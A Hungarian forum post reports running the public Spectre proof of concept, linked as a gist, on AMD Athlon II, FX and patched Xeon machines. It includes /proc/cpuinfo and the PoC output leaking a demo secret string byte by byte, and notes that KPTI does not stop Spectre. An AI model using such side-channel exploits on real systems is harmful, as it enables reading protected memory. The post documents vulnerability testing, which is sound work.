Nem tudom, mikor írogattam vaktában, de itt van:
https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
Én Linuxon fordítottam le, az N36L-es Microserveremen próbáltam, de mivel sima C + asm, Windowsra is le lehet.
Ja, FX-8320E-n is ugyanez az eredmény (mellesleg Xeonon is KAISER patch-el, szóval arra senki ne számítson, hogy elég a KPTI-s kernel a Spectre ellen).
# cat /proc/cpuinfo
processor : 0
vendor_id : AuthenticAMD
cpu family : 16
model : 6
model name : AMD Athlon(tm) II Neo N36L Dual-Core Processor
stepping : 3
microcode : 0x10000c8
cpu MHz : 800.000
cache size : 1024 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid pni monitor cx16 popcnt lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a 3dnowprefetch osvw ibs skinit wdt nodeid_msr hw_pstate vmmcall npt lbrv svm_lock nrip_save
bugs : tlb_mmatch apic_c1e fxsave_leak sysret_ss_attrs null_seg amd_e400
bogomips : 2595.65
TLB size : 1024 4K pages
clflush size : 64
cache_alignment : 64
address sizes : 48 bits physical, 48 bits virtual
power management: ts ttp tm stc 100mhzsteps hwpstate
processor : 1
vendor_id : AuthenticAMD
cpu family : 16
model : 6
model name : AMD Athlon(tm) II Neo N36L Dual-Core Processor
stepping : 3
microcode : 0x10000c8
cpu MHz : 1100.000
cache size : 1024 KB
physical id : 0
siblings : 2
core id : 1
cpu cores : 2
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid pni monitor cx16 popcnt lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a 3dnowprefetch osvw ibs skinit wdt nodeid_msr hw_pstate vmmcall npt lbrv svm_lock nrip_save
bugs : tlb_mmatch apic_c1e fxsave_leak sysret_ss_attrs null_seg amd_e400
bogomips : 2595.72
TLB size : 1024 4K pages
clflush size : 64
cache_alignment : 64
address sizes : 48 bits physical, 48 bits virtual
power management: ts ttp tm stc 100mhzsteps hwpstate
# ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=7 (second best: 0xFB score=1)
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=7 (second best: 0xFE score=1)
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=7 (second best: 0x9F score=1)
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=7 (second best: 0x5C score=1)
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=7 (second best: 0xE0 score=1)
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=7 (second best: 0xA6 score=1)
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=9 (second best: 0x5B score=2)
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=9 (second best: 0xE3 score=2)
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=9 (second best: 0xE5 score=2)
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=7 (second best: 0xA9 score=1)
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=9 (second best: 0x44 score=2)
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=9 (second best: 0xE2 score=2)
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=7 (second best: 0xF6 score=1)
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=7 (second best: 0xFA score=1)
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=7 (second best: 0xF9 score=1)
Reading at malicious_x = 0xffffffffffdfebca... Unclear: 0x65=’e’ score=998 (second best: 0x15 score=821)
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=9 (second best: 0x46 score=2)
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=9 (second best: 0x34 score=2)
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=11 (second best: 0x15 score=3)
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=7 (second best: 0xFD score=1)
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=9 (second best: 0x15 score=2)
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=9 (second best: 0x97 score=2)
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=9 (second best: 0xF5 score=2)
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=9 (second best: 0x80 score=2)
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=9 (second best: 0xA7 score=2)
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=7 (second best: 0xD9 score=1)
Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=9 (second best: 0xE1 score=2)
Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=11 (second best: 0x15 score=3)
Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=9 (second best: 0xC3 score=2)
Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=9 (second best: 0xF1 score=2)
Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=7 (second best: 0xD4 score=1)
Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=7 (second best: 0xF7 score=1)
Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=7 (second best: 0xFD score=1)
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=7 (second best: 0xF4 score=1)
Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=11 (second best: 0x15 score=3)
Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=9 (second best: 0x14 score=2)